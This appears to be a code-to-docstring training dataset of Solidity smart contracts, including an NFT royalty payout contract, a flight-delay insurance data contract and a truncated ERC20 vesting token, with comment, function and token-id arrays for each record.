erc20.balanceOf(address(this)); require(balance > 10000, "PA1D: Not enough tokens to transfer"); for (uint256 i = 0; i < addresses.length; i++) { sending = ((bps[i] * balance) / 10000); require(erc20.transfer(addresses[i], sending), "PA1D: Couldn't transfer token"); } } } /** * @dev This function validates that the call is being made by an authorised wallet. * @dev Will revert entire tranaction if it fails. */ function _validatePayoutRequestor() internal view { if (!isOwner()) { bool matched; address payable[] memory addresses = _getPayoutAddresses(); address payable sender = payable(msg.sender); for (uint256 i = 0; i < addresses.length; i++) { if (addresses[i] == sender) { matched = true; break; } } require(matched, "PA1D: sender not authorized"); } } /** * @notice Set the wallets and percentages for royalty payouts. * @dev Function can only we called by owner, admin, or identity wallet. * @dev Addresses and bps arrays must be equal length. Bps values added together must equal 10000 exactly. * @param addresses An array of all the addresses that will be receiving royalty payouts. * @param bps An array of the percentages that each address will receive from the royalty payouts. */ function configurePayouts(address payable[] memory addresses, uint256[] memory bps) public onlyOwner { require(addresses.length == bps.length, "PA1D: missmatched array lenghts"); uint256 totalBp; for (uint256 i = 0; i < addresses.length; i++) { totalBp = totalBp + bps[i]; } require(totalBp == 10000, "PA1D: bps down't equal 10000"); _setPayoutAddresses(addresses); _setPayoutBps(bps); } /** * @notice Show the wallets and percentages of payout recipients. * @dev These are the recipients that will be getting royalty payouts. * @return addresses An array of all the addresses that will be receiving royalty payouts. * @return bps An array of the percentages that each address will receive from the royalty payouts. */ function getPayoutInfo() public view returns (address payable[] memory addresses, uint256[] memory bps) { addresses = _getPayoutAddresses(); bps = _getPayoutBps(); } /** * @notice Get payout of all ETH in smart contract. * @dev Distribute all the ETH(minus gas fees) to payout recipients. */ function getEthPayout() public { _validatePayoutRequestor(); _payoutEth(); } /** * @notice Get payout for a specific token address. Token must have a positive balance! * @dev Contract owner, admin, identity wallet, and payout recipients can call this function. * @param tokenAddress An address of the token for which to issue payouts for. */ function getTokenPayout(address tokenAddress) public { _validatePayoutRequestor(); _payoutToken(tokenAddress); } /** * @notice Get payout for a specific token name. Token must have a positive balance! * @dev Contract owner, admin, identity wallet, and payout recipients can call this function. * @dev Avoid using this function at all costs, due to high gas usage, and no guarantee for token support. * @param tokenName A string of the token name for which to issue payouts for. */ function getTokenPayoutByName(string memory tokenName) public { _validatePayoutRequestor(); address tokenAddress = PA1D(payable(getRegistry().getPA1D())).getTokenAddress(tokenName); require(!Address.isZero(tokenAddress), "PA1D: Token address not found"); _payoutToken(tokenAddress); } /** * @notice Get payouts for tokens listed by address. Tokens must have a positive balance! * @dev Each token balance must be equal or greater than 10000. Otherwise calculating BP is difficult. * @param tokenAddresses An address array of tokens to issue payouts for. */ function getTokensPayout(address[] memory tokenAddresses) public { _validatePayoutRequestor(); _payoutTokens(tokenAddresses); } /** * @notice Get payouts for tokens listed by name. Tokens must have a positive balance! * @dev Each token balance must be equal or greater than 10000. Otherwise calculating BP is difficult. * @dev Avoid using this function at all costs, due to high gas usage, and no guarantee for token support. * @param tokenNames A string array of token names to issue payouts for. */ function getTokensPayoutByName(string[] memory tokenNames) public { _validatePayoutRequestor(); uint256 length = tokenNames.length; address[] memory tokenAddresses = new address[](length); for (uint256 i = 0; i < length; i++) { address tokenAddress = PA1D(payable(getRegistry().getPA1D())).getTokenAddress( tokenNames[i] ); require(!Address.isZero(tokenAddress), "PA1D: Token address not found"); tokenAddresses[i] = tokenAddress; } _payoutTokens(tokenAddresses); } /** * @notice Inform about supported interfaces(eip-165). * @dev Provides the supported interface ids that this contract implements. * @param interfaceId Bytes4 of the interface, derived through bytes4(keccak256('sampleFunction(uin256,address)')). * @return True if function is supported/implemented, false if not. */ function supportsInterface(bytes4 interfaceId) public pure returns (bool) { if ( // EIP2981 // bytes4(keccak256('royaltyInfo(uint256,uint256)')) == 0x2a55205a interfaceId == 0x2a55205a || // Rarible V1 // bytes4(keccak256('getFeeBps(uint256)')) == 0xb7799584 interfaceId == 0xb7799584 || // Rarible V1 // bytes4(keccak256('getFeeRecipients(uint256)')) == 0xb9c4d9fb interfaceId == 0xb9c4d9fb || // Manifold // bytes4(keccak256('getRoyalties(uint256)')) == 0xbb3bafd6 interfaceId == 0xbb3bafd6 || // Foundation // bytes4(keccak256('getFees(uint256)')) == 0xd5a06d4c interfaceId == 0xd5a06d4c || // SuperRare // bytes4(keccak256('tokenCreator(address,uint256)')) == 0xb85ed7e4 interfaceId == 0xb85ed7e4 || // SuperRare // bytes4(keccak256('calculateRoyaltyFee(address,uint256,uint256)')) == 0x860110f5 interfaceId == 0x860110f5 || // Zora // bytes4(keccak256('marketContract()')) == 0xa1794bcd interfaceId == 0xa1794bcd || // Zora // bytes4(keccak256('tokenCreators(uint256)')) == 0xe0fd045f interfaceId == 0xe0fd045f || // Zora // bytes4(keccak256('bidSharesForToken(uint256)')) == 0xf9ce0582 interfaceId == 0xf9ce0582 ) { return true; } return false; } /** * @notice Set the royalty information for entire contract, or a specific token. * @dev Take great care to not make this function accessible by other public functions in your overlying smart contract. * @param tokenId Set a specific token id, or leave at 0 to set as default parameters. * @param receiver Wallet or smart contract that will receive the royalty payouts. * @param bp Uint256 of royalty percentage, provided in base points format. */ function setRoyalties( uint256 tokenId, address payable receiver, uint256 bp ) public onlyOwner { if (tokenId == 0) { _setDefaultReceiver(receiver); _setDefaultBp(bp); } else { _setReceiver(tokenId, receiver); _setBp(tokenId, bp); } address[] memory receivers = new address[](1); receivers[0] = address(receiver); uint256[] memory bps = new uint256[](1); bps[0] = bp; emit SecondarySaleFees(tokenId, receivers, bps); } // IEIP2981 function royaltyInfo(uint256 tokenId, uint256 value) public view returns (address, uint256) { if (_getReceiver(tokenId) == address(0)) { return (_getDefaultReceiver(), (_getDefaultBp() * value) / 10000); } else { return (_getReceiver(tokenId), (_getBp(tokenId) * value) / 10000); } } // Rarible V1 function getFeeBps(uint256 tokenId) public view returns (uint256[] memory) { uint256[] memory bps = new uint256[](1); if (_getReceiver(tokenId) == address(0)) { bps[0] = _getDefaultBp(); } else { bps[0] = _getBp(tokenId); } return bps; } // Rarible V1 function getFeeRecipients(uint256 tokenId) public view returns (address payable[] memory) { address payable[] memory receivers = new address payable[](1); if (_getReceiver(tokenId) == address(0)) { receivers[0] = _getDefaultReceiver(); } else { receivers[0] = _getReceiver(tokenId); } return receivers; } // Manifold function getRoyalties(uint256 tokenId) public view returns (address payable[] memory, uint256[] memory) { address payable[] memory receivers = new address payable[](1); uint256[] memory bps = new uint256[](1); if (_getReceiver(tokenId) == address(0)) { receivers[0] = _getDefaultReceiver(); bps[0] = _getDefaultBp(); } else { receivers[0] = _getReceiver(tokenId); bps[0] = _getBp(tokenId); } return (receivers, bps); } // Foundation function getFees(uint256 tokenId) public view returns (address payable[] memory, uint256[] memory) { address payable[] memory receivers = new address payable[](1); uint256[] memory bps = new uint256[](1); if (_getReceiver(tokenId) == address(0)) { receivers[0] = _getDefaultReceiver(); bps[0] = _getDefaultBp(); } else { receivers[0] = _getReceiver(tokenId); bps[0] = _getBp(tokenId); } return (receivers, bps); } // SuperRare // Hint taken from Manifold's RoyaltyEngine(https://github.com/manifoldxyz/royalty-registry-solidity/blob/main/contracts/RoyaltyEngineV1.sol) // To be quite honest, SuperRare is a closed marketplace. They're working on opening it up but looks like they want to use private smart contracts. // We'll just leave this here for just in case they open the flood gates. function tokenCreator( address, /* contractAddress*/ uint256 tokenId ) public view returns (address) { address receiver = _getReceiver(tokenId); if (receiver == address(0)) { return _getDefaultReceiver(); } return receiver; } // SuperRare function calculateRoyaltyFee( address, /* contractAddress */ uint256 tokenId, uint256 amount ) public view returns (uint256) { if (_getReceiver(tokenId) == address(0)) { return (_getDefaultBp() * amount) / 10000; } else { return (_getBp(tokenId) * amount) / 10000; } } // Zora // we indicate that this contract operates market functions function marketContract() public view returns (address) { return address(this); } // Zora // we indicate that the receiver is the creator, to convince the smart contract to pay function tokenCreators(uint256 tokenId) public view returns (address) { address receiver = _getReceiver(tokenId); if (receiver == address(0)) { return _getDefaultReceiver(); } return receiver; } // Zora // we provide the percentage that needs to be paid out from the sale function bidSharesForToken(uint256 tokenId) public view returns (Zora.BidShares memory bidShares) { // this information is outside of the scope of our bidShares.prevOwner.value = 0; bidShares.owner.value = 0; if (_getReceiver(tokenId) == address(0)) { bidShares.creator.value = _getDefaultBp(); } else { bidShares.creator.value = _getBp(tokenId); } return bidShares; } /** * @notice Get the storage slot for given string * @dev Convert a string to a bytes32 storage slot * @param slot The string name of storage slot(without the 'eip1967.PA1D.' prefix) * @return A bytes32 reference to the storage slot */ function getStorageSlot(string calldata slot) public pure returns (bytes32) { return bytes32(uint256(keccak256(abi.encodePacked("eip1967.PA1D.", slot))) - 1); } /** * @notice Get the smart contract address of a token by common name. * @dev Used only to identify really major/common tokens. Avoid using due to gas usages. * @param tokenName The ticker symbol of the token. For example "USDC" or "DAI". * @return The smart contract address of the token ticker symbol. Or zero address if not found. */ function getTokenAddress(string memory tokenName) public view returns (address) { return _getTokenAddress(tokenName); } /** * @notice Forwards unknown function call to the CXIP hotfixes smart contract(if present) * @dev All unrecognized functions are delegated to hotfixes smart contract which can be utilized to deploy on-chain hotfixes */ function _defaultFallback() internal { /** * @dev Very important to note the use of sha256 instead of keccak256 in this function. Since the registry is made to be front-facing and user friendly, the choice to use sha256 was made due to the accessibility of that function in comparison to keccak. */ address _target = getRegistry().getCustomSource( sha256(abi.encodePacked("eip1967.CXIP.hotfixes")) ); /** * @dev To minimize gas usage, pre-calculate the 32 byte hash and provide the final hex string instead of running the sha256 function on each call inside the smart contract */ // address _target = getRegistry().getCustomSource(0x45f5c3bc3dbabbfab15d44af18b96716cf5bec748c58d54d61c4e7293de6763e); /** * @dev Assembly is used to minimize gas usage and pass the data directly through */ assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), _target, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @notice Forwarding all unknown functions to default fallback */ fallback() external { _defaultFallback(); } /** * @dev This is intentionally left empty, to make sure that ETH transfers succeed. */ receive() external payable {} } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470); } function isZero(address account) internal pure returns (bool) { return (account == address(0)); } } library Zora { struct Decimal { uint256 value; } struct BidShares { // % of sale value that goes to the _previous_ owner of the nft Decimal prevOwner; // % of sale value that goes to the original creator of the nft Decimal creator; // % of sale value that goes to the seller (current owner) of the nft Decimal owner; } } // This is a 256 value limit (uint8) enum UriType { ARWEAVE, // 0 IPFS, // 1 HTTP // 2 } // This is a 256 value limit (uint8) enum InterfaceType { NULL, // 0 ERC20, // 1 ERC721, // 2 ERC1155 // 3 } struct Verification { bytes32 r; bytes32 s; uint8 v; } struct CollectionData { bytes32 name; bytes32 name2; bytes32 symbol; address royalties; uint96 bps; } struct Token { address collection; uint256 tokenId; InterfaceType tokenType; address creator; } struct TokenData { bytes32 payloadHash; Verification payloadSignature; address creator; bytes32 arweave; bytes11 arweave2; bytes32 ipfs; bytes14 ipfs2; } interface ICxipERC { function admin() external view returns (address); function getIdentity() external view returns (address); function isAdmin() external view returns (bool); function isOwner() external view returns (bool); function name() external view returns (string memory); function owner() external view returns (address); function supportsInterface(bytes4 interfaceId) external view returns (bool); function symbol() external view returns (string memory); } interface ICxipIdentity { function addSignedWallet( address newWallet, uint8 v, bytes32 r, bytes32 s ) external; function addWallet(address newWallet) external; function connectWallet() external; function createERC721Token( address collection, uint256 id, TokenData calldata tokenData, Verification calldata verification ) external returns (uint256); function createERC721Collection( bytes32 saltHash, address collectionCreator, Verification calldata verification, CollectionData calldata collectionData ) external returns (address); function createCustomERC721Collection( bytes32 saltHash, address collectionCreator, Verification calldata verification, CollectionData calldata collectionData, bytes32 slot, bytes memory bytecode ) external returns (address); function init(address wallet, address secondaryWallet) external; function getAuthorizer(address wallet) external view returns (address); function getCollectionById(uint256 index) external view returns (address); function getCollectionType(address collection) external view returns (InterfaceType); function getWallets() external view returns (address[] memory); function isCollectionCertified(address collection) external view returns (bool); function isCollectionRegistered(address collection) external view returns (bool); function isNew() external view returns (bool); function isOwner() external view returns (bool); function isTokenCertified(address collection, uint256 tokenId) external view returns (bool); function isTokenRegistered(address collection, uint256 tokenId) external view returns (bool); function isWalletRegistered(address wallet) external view returns (bool); function listCollections(uint256 offset, uint256 length) external view returns (address[] memory); function nextNonce(address wallet) external view returns (uint256); function totalCollections() external view returns (uint256); function isCollectionOpen(address collection) external pure returns (bool); } interface ICxipRegistry { function getAsset() external view returns (address); function getAssetSigner() external view returns (address); function getAssetSource() external view returns (address); function getCopyright() external view returns (address); function getCopyrightSource() external view returns (address); function getCustomSource(bytes32 name) external view returns (address); function getCustomSourceFromString(string memory name) external view returns (address); function getERC1155CollectionSource() external view returns (address); function getERC721CollectionSource() external view returns (address); function getIdentitySource() external view returns (address); function getPA1D() external view returns (address); function getPA1DSource() external view returns (address); function getProvenance() external view returns (address); function getProvenanceSource() external view returns (address); function owner() external view returns (address); function setAsset(address proxy) external; function setAssetSigner(address source) external; function setAssetSource(address source) external; function setCopyright(address proxy) external; function setCopyrightSource(address source) external; function setCustomSource(string memory name, address source) external; function setERC1155CollectionSource(address source) external; function setERC721CollectionSource(address source) external; function setIdentitySource(address source) external; function setPA1D(address proxy) external; function setPA1DSource(address source) external; function setProvenance(address proxy) external; function setProvenanceSource(address source) external; } interface IERC20 { function approve(address spender, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function balanceOf(address account) external view returns (uint256); function totalSupply() external view returns (uint256); }
* @notice Get payout for a specific token address. Token must have a positive balance! @dev Contract owner, admin, identity wallet, and payout recipients can call this function. @param tokenAddress An address of the token for which to issue payouts for./
function getTokenPayout(address tokenAddress) public { _validatePayoutRequestor(); _payoutToken(tokenAddress); }
5,789,132
[ 1, 967, 293, 2012, 364, 279, 2923, 1147, 1758, 18, 3155, 1297, 1240, 279, 6895, 11013, 5, 225, 13456, 3410, 16, 3981, 16, 4215, 9230, 16, 471, 293, 2012, 12045, 848, 745, 333, 445, 18, 225, 1147, 1887, 1922, 1758, 434, 326, 1147, 364, 1492, 358, 5672, 293, 2012, 87, 364, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 9162, 52, 2012, 12, 2867, 1147, 1887, 13, 1071, 288, 203, 3639, 389, 5662, 52, 2012, 691, 280, 5621, 203, 3639, 389, 84, 2012, 1345, 12, 2316, 1887, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.8; import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol"; contract FlightSuretyData { using SafeMath for uint256; /********************************************************************************************/ /* DATA VARIABLES */ /********************************************************************************************/ address private contractOwner; // Account used to deploy contract bool private operational = true; // Blocks all state changes throughout the contract if false mapping(address => bool) private authorizedCallers; // Authorized Addresses for the smart contract // Data Struct for an Airline struct Airline { address airline; // account address of airline string name; // name of airline bool isRegistered; // is this airline registered or not bool isFunded; // is this airline funded or not uint256 fund; // amount of fund available } // To store & count airlines mapping(address => Airline) private airlines; uint256 internal airlinesCount = 0; // Data Struct for an Insurance struct Insurance { address payable insuree; // account address of insuree uint256 amount; // insurance amount address airline; // account address of airline string airlineName; // name of airline uint256 timestamp; // timestamp of airline } // Who's insured? mapping(bytes32 => Insurance[]) private insurances; // Payouts mapping(bytes32 => bool) private payoutCredited; // Credits mapping(address => uint256) private creditPayoutsToInsuree; /********************************************************************************************/ /* EVENT DEFINITIONS */ /********************************************************************************************/ event AirlineRegistered(address indexed airline, string airlineName); event AirlineFunded(address indexed airline, uint256 amount); event InsurancePurchased(address indexed insuree, uint256 amount, address airline, string airName, uint256 timestamp); event InsuranceCreditAvailable(address indexed airline, string indexed airName, uint256 indexed timestamp); event InsuranceCredited(address indexed insuree, uint256 amount); event InsurancePaid(address indexed insuree, uint256 amount); /** * @dev Constructor * The deploying account becomes contractOwner */ constructor(address _airline, string memory _airlineName) public { contractOwner = msg.sender; addAirline(_airline, _airlineName); } /********************************************************************************************/ /* FUNCTION MODIFIERS */ /********************************************************************************************/ // Modifiers help avoid duplication of code. They are typically used to validate something // before a function is allowed to be executed. /** * @dev Modifier that requires the "operational" boolean variable to be "true" * This is used on all state changing functions to pause the contract in * the event there is an issue that needs to be fixed */ modifier requireIsOperational() { require(operational, "Contract is currently not operational"); _; // All modifiers require an "_" which indicates where the function body will be added } /** * @dev Modifier that requires the "ContractOwner" account to be the function caller */ modifier requireContractOwner() { require(msg.sender == contractOwner, "Caller is not contract owner"); _; } modifier requireIsCallerAuthorized() { require(authorizedCallers[msg.sender] == true || msg.sender == contractOwner, "Caller is not authorized"); _; } modifier requireIsAirline() { require(airlines[msg.sender].isRegistered == true, "Caller is not airline"); _; } modifier requireFundedAirline(address _airline) { require(airlines[_airline].isFunded == true, "Airline is not funded"); _; } modifier requireMsgData() { require(msg.data.length > 0, "Message data is empty"); _; } /********************************************************************************************/ /* UTILITY FUNCTIONS */ /********************************************************************************************/ /** * @dev Add a new address to the list of authorized callers * Can only be called by the contract owner */ function authorizeCaller(address contractAddress) external requireContractOwner { authorizedCallers[contractAddress] = true; } /** * @dev Get operating status of contract * * @return A bool that is the current operating status */ function isOperational() external view returns(bool) { return operational; } /** * @dev Sets contract operations on/off * * When operational mode is disabled, all write transactions except for this one will fail */ function setOperatingStatus(bool mode) external requireContractOwner { operational = mode; } /********************************************************************************************/ /* SMART CONTRACT FUNCTIONS */ /********************************************************************************************/ /** * @dev Add an airline to the registration queue * Can only be called from FlightSuretyApp contract * */ function registerAirline(address _airline, string calldata _airlineName) external requireIsCallerAuthorized { addAirline(_airline, _airlineName); } function addAirline(address _airline, string memory _airlineName) private { airlinesCount = airlinesCount.add(1); airlines[_airline] = Airline(_airline, _airlineName, true, false, 0); emit AirlineRegistered(_airline, _airlineName); } /** * @dev Buy insurance for a flight * */ function buy(address payable _insuree, address _airline, string calldata _flight, uint256 _timestamp) external payable { bytes32 flightKey = getFlightKey(_airline, _flight, _timestamp); airlines[_airline].fund = airlines[_airline].fund.add(msg.value); insurances[flightKey].push( Insurance( _insuree, msg.value, _airline, _flight, _timestamp ) ); emit InsurancePurchased( _insuree, msg.value, _airline, _flight, _timestamp ); } /** * @dev Credits payouts to insurees */ function creditInsurees(uint256 _creditPercentage, address _airline, string calldata _flight, uint256 _timestamp) external requireIsCallerAuthorized { bytes32 flightKey = getFlightKey(_airline, _flight, _timestamp); require(!payoutCredited[flightKey], "Insurance payout was already made"); for (uint i = 0; i < insurances[flightKey].length; i++) { address insuree = insurances[flightKey][i].insuree; uint256 amountToReceive = insurances[flightKey][i].amount.mul(_creditPercentage).div(100); creditPayoutsToInsuree[insuree] = creditPayoutsToInsuree[insuree].add(amountToReceive); airlines[_airline].fund = airlines[_airline].fund.sub(amountToReceive); emit InsuranceCredited(insuree, amountToReceive); } payoutCredited[flightKey] = true; emit InsuranceCreditAvailable(_airline, _flight, _timestamp); } /** * @dev Transfers eligible payout funds to insuree * */ function pay(address payable _insuree) external requireIsCallerAuthorized { uint256 amountToPay = creditPayoutsToInsuree[_insuree]; delete(creditPayoutsToInsuree[_insuree]); _insuree.transfer(amountToPay); emit InsurancePaid(_insuree, amountToPay); } /** * @dev Initial funding for the insurance. Unless there are too many delayed flights * resulting in insurance payouts, the contract should be self-sustaining * */ function fund(address _airline) external payable requireIsCallerAuthorized { addFund(_airline, msg.value); airlines[_airline].isFunded = true; emit AirlineFunded(_airline, msg.value); } function addFund(address _airline, uint256 _fundValue) private { airlines[_airline].fund = airlines[_airline].fund.add(_fundValue); } function getFlightKey (address airline, string memory flight, uint256 timestamp) pure internal returns(bytes32) { return keccak256(abi.encodePacked(airline, flight, timestamp)); } function isAirline(address _airline) external view returns(bool) { return airlines[_airline].isRegistered; } function isAirlineFunded(address _airline) external view requireIsCallerAuthorized returns(bool) { return airlines[_airline].isFunded; } function getFund(address _airline) external view requireIsCallerAuthorized returns(uint256) { return airlines[_airline].fund; } function getAirlinesCount() external view returns(uint256) { return airlinesCount; } function getAmountPaidByInsuree(address payable _insuree, address _airline, string calldata _flight, uint256 _timestamp) external view returns(uint256 amountPaid) { amountPaid = 0; bytes32 flightKey = getFlightKey(_airline, _flight, _timestamp); for (uint i = 0; i < insurances[flightKey].length; i++) { if (insurances[flightKey][i].insuree == _insuree) { amountPaid = insurances[flightKey][i].amount; break; } } } function getInsureePayoutCredits(address payable _insuree) external view returns(uint256 amount) { return creditPayoutsToInsuree[_insuree]; } /** * @dev Fallback function for funding smart contract. * */ function () external payable requireMsgData requireIsAirline { addFund(msg.sender, msg.value); airlines[msg.sender].isFunded = true; emit AirlineFunded(msg.sender, msg.value); } }
account address of insuree
address payable insuree;
12,777,859
[ 1, 4631, 1758, 434, 316, 2055, 73, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 1758, 8843, 429, 316, 2055, 73, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//Address: 0x2d7bb090c1084aa466ed3033460dce27c243d0ee //Contract name: Token //Balance: 0 Ether //Verification Date: 11/17/2017 //Transacion Count: 1 // CODE STARTS HERE pragma solidity ^ 0.4.17; library SafeMath { function mul(uint a, uint b) pure internal returns(uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function sub(uint a, uint b) pure internal returns(uint) { assert(b <= a); return a - b; } function add(uint a, uint b) pure internal returns(uint) { uint c = a + b; assert(c >= a && c >= b); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { bool public stopped; modifier stopInEmergency { if (stopped) { revert(); } _; } modifier onlyInEmergency { if (!stopped) { revert(); } _; } // @notice Called by the owner in emergency, triggers stopped state function emergencyStop() external onlyOwner { stopped = true; } /// @notice Called by the owner to end of emergency, returns to normal state function release() external onlyOwner onlyInEmergency { stopped = false; } } contract ERC20 { uint public totalSupply; function balanceOf(address who) public view returns(uint); function allowance(address owner, address spender) public view returns(uint); function transfer(address to, uint value) public returns(bool ok); function transferFrom(address from, address to, uint value) public returns(bool ok); function approve(address spender, uint value) public returns(bool ok); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } // @notice Migration Agent interface contract MigrationAgent { function migrateFrom(address _from, uint256 _value) public; } // @notice Whitelist interface which will hold whitelisted users contract WhiteList is Ownable { function isWhiteListed(address _user) external view returns (bool); } // @notice contract to control vesting schedule for company and team tokens contract Vesting is Ownable { using SafeMath for uint; uint public teamTokensInitial = 2e25; // max tokens amount for the team 20,000,000 uint public teamTokensCurrent = 0; // to keep record of distributed tokens so far to the team uint public companyTokensInitial = 15e24; // max tokens amount for the company 15,000,000 uint public companyTokensCurrent = 0; // to keep record of distributed tokens so far to the company Token public token; // token contract uint public dateICOEnded; // date when ICO ended updated from the finalizeSale() function uint public dateProductCompleted; // date when product has been completed event LogTeamTokensTransferred(address indexed receipient, uint amouontOfTokens); event LogCompanyTokensTransferred(address indexed receipient, uint amouontOfTokens); // @notice set the handle of the token contract // @param _token {Token} address of the token contract // @return {bool} true if successful function setToken(Token _token) public onlyOwner() 